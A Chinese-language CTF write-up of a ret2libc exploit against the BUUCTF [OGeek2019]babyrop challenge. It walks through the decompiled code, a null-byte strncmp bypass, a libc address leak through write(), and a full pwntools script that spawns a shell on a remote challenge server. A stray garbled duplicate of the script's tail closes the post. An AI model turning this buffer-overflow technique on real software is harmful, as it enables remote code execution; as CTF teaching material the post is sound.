title: ret2libc实战
date: 2021-05-13 22:00:00
tags:
- binary security
- study report
- ret2libc
comments: true
categories: - ctf
- pwn
ret2libc
是一个pwner
必备的基础知识。
ret2libc
为return to libc
的缩写,我们需要执行libc
函数里面的system("/bin/sh")
下面为32位程序并且带.so文件的题目:buuctf[OGeek2019]babyrop
[OGeek2019]babyrop
下载两个文件先丢进IDA里面
首先是pwn.elf
shift+F12
查看字符串,看到比较有用的就是那个Correct\n
但是这个不是逆向题,不用从结果分析,所以这个也是没什么用的,只能等会分析没有看到这个的时候再去整这个。然后也没有看到/bin/sh
字符串,那么我们就先放弃字符串入手了。
查看main的伪C代码,得到
int __cdecl main()
{int buf; // [esp+4h] [ebp-14h] BYREFchar v2; // [esp+Bh] [ebp-Dh]int fd; // [esp+Ch] [ebp-Ch]sub_80486BB();fd = open("/dev/urandom", 0);if ( fd > 0 )read(fd, &buf, 4u);v2 = sub_804871F(buf);sub_80487D0(v2);return 0;
}
首先给你虚晃一枪,自己获得一个我们不知道的数,如果大于0才执行read(fd,&buf,4u);
而我们都知道,read()
函数第一个参数必须为0才能让我们输入内容,那么这一段代码直接抛弃,它注定啥也干不了。然后执行了一个函数,跟进去看
int __cdecl sub_804871F(int a1)
{size_t v1; // eaxchar s[32]; // [esp+Ch] [ebp-4Ch] BYREFchar buf[32]; // [esp+2Ch] [ebp-2Ch] BYREFssize_t v5; // [esp+4Ch] [ebp-Ch]memset(s, 0, sizeof(s));memset(buf, 0, sizeof(buf));sprintf(s, "%ld", a1);v5 = read(0, buf, 0x20u);buf[v5 - 1] = 0;v1 = strlen(buf);if ( strncmp(buf, s, v1) )exit(0);write(1, "Correct\n", 8u);return (unsigned __int8)buf[7];
}
因为前面传入的buf
指针我们并不可以输入任何值,又是局部变量,所以它的值也是不确定的,然后下面比较要求buf==s
字符串,而这个s
是main()
的buf
,这个函数的buf
是我们可以决定的。但是可惜它用的是strncmp
指定长度比较字符串,而长度是从这个函数的buf里面算到的,那么我们就可以把字符串第一位置为\x00
以躲过检测,然后返回了buf[7]
,那么这里我们就知道应该输入\x00
开始的字符串,至于后面还得看它这个返回值干了啥,返回main()
函数发现返回值为下一个函数的参数,而下一个函数
ssize_t __cdecl sub_80487D0(char a1)
{ssize_t result; // eaxchar buf[231]; // [esp+11h] [ebp-E7h] BYREFif ( a1 == 127 )result = read(0, buf, 200u);elseresult = read(0, buf, a1);return result;
}
很明显我们要在这里溢出了,但是缓冲区大小有足足231,而第一个选项不足以让我们溢出,所以我们如果把参数设为\xff
那么就能输入255长度的字符串足以让我们溢出。所以前面的一个payload
就可以这么构造
payload1=b'\x00'*7+'\xff'
但是找到了溢出点还不够,我们还没获取system()
函数的地址,在plt
表上也没有这个函数,所以我们打开.so
文件,找到system()
函数和/bin/sh
字符串。注意我们反汇编的是libc
文件,所以system()
函数不跟平时一样在plt
表,而是直接写在了代码段上面。
为什么有这一步呢?因为我在学习的过程中,发现libcsearcher
不好用了,在python
里面只能用ELF()
函数去加载.so
文件,但是无法search
到/bin/sh
字符串所以就出现了这一步,然后我们需要执行两次这个main()
函数,因为第一次溢出你只能泄露libc
的地址。然后我来回答一下为什么不直接再次执行那个溢出的函数,因为我们要传参大于0xe7+0x10
才可以溢出,而构造的payload
链又比较麻烦,重新溢出最好挑那些没有参数或者参数对我们影响不大的去重新执行。第二次还好说,直接把system()
地址和/bin/sh
的payload
传进去就ok。
第一次溢出泄露libc的地址
挑选能输出的函数write()
,puts()
都行,但是write()
传参比较多,所以我就用write()
,怕万一遇到没有puts()
就不会了,所以多会点总是好的,比赛你当然怎么简单怎么来。write()
要传的参数第一个传0,第二个传要泄露的libc
函数的地址,第三个就是泄露的字节大小,32位程序四字节足矣,你泄露自己也行,我这里选了一个read()
函数,道理都是一样的。那么第一次的payload
就可以构造出来了
payload=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(0)+p32(read_got)+p32(4)
然后就是先去算libc
的基址,反推出system()
的地址。
libc.sym['read']
会返回read()
在libc
里面的偏移,泄露出read()
的真实地址就可以算出libc
的真实基址了。
read_addr=u32(p.recv(4))#拿到真实地址
libc_base=read_addr-libc.sym['read']#拿到真实基址
print('[+]read_addr: ',hex(read_addr))
print('[+]libc_base_addr: ',hex(libc_base))
调试测试一下。
libc
函数基本都是0xf7
开头的,libc
的基址是以三个0结尾的,所以我们这就得到了libc
的真实地址。下面两步就把system()
和/bin/sh
算出来就好了。
system_addr=libc_base+libc.sym['system']
bin_sh_addr=system_addr+0x11e6eb
因为好像并不能直接拿到这个偏移,但是可以在gdb
里面调试得到system()
相对/bin/sh
的偏移,也可以前面IDA
查看直接获取偏移,前面的那些地址就是我们所说的偏移,可以直接用,但是这里我们选择难一点的路线,就怕哪次给你直接断了那条简单路线,它不可能断你难的路线留一个简单的路线吧。
第二次溢出直接执行system("/bin/sh")
这个payload就是
payload=b'a'*0xe7+b'a'*0x4+p32(system_addr)+b'a'*4+p32(bin_sh_addr)
但是一定注意前面的payload1
也要再send
一次,不然执行不到这里的,我就这里卡了很久。
exp
from pwn import *#context.log_level='debug'
#p=process('./pwn')
p=remote('node3.buuoj.cn',xxx)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
payload1=b'\x00'*7+b'\xff'
p.sendline(payload1)
p.recvuntil(b'Correct\n')
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=0x8048825payload=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))libc_base=read_addr-libc.sym['read']
system_addr=libc_base+libc.sym['system']
bin_sh_addr=system_addr+0x11e6eb#print('[+]read_addr: ',hex(read_addr))
#print('[+]libc_base_addr: ',hex(libc_base))
#print('[+]system_addr: ',hex(system_addr))
#print('[+]bin_sh: ',hex(bin_sh_addr))p.sendline(payload1)#一定要再给一次
p.recvuntil('Correct\n')
payload=b'a'*0xe7+b'a'*0x4+p32(system_addr)+b'a'*4+p32(bin_sh_addr)
p.sendline(payload)p.interactive()
addr))
p.sendline(payload1)#一定要再给一次
p.recvuntil(‘Correct\n’)
payload=b’a’*0xe7+b’a’*0x4+p32(system_addr)+b’a’*4+p32(bin_sh_addr)
p.sendline(payload)
p.interactive()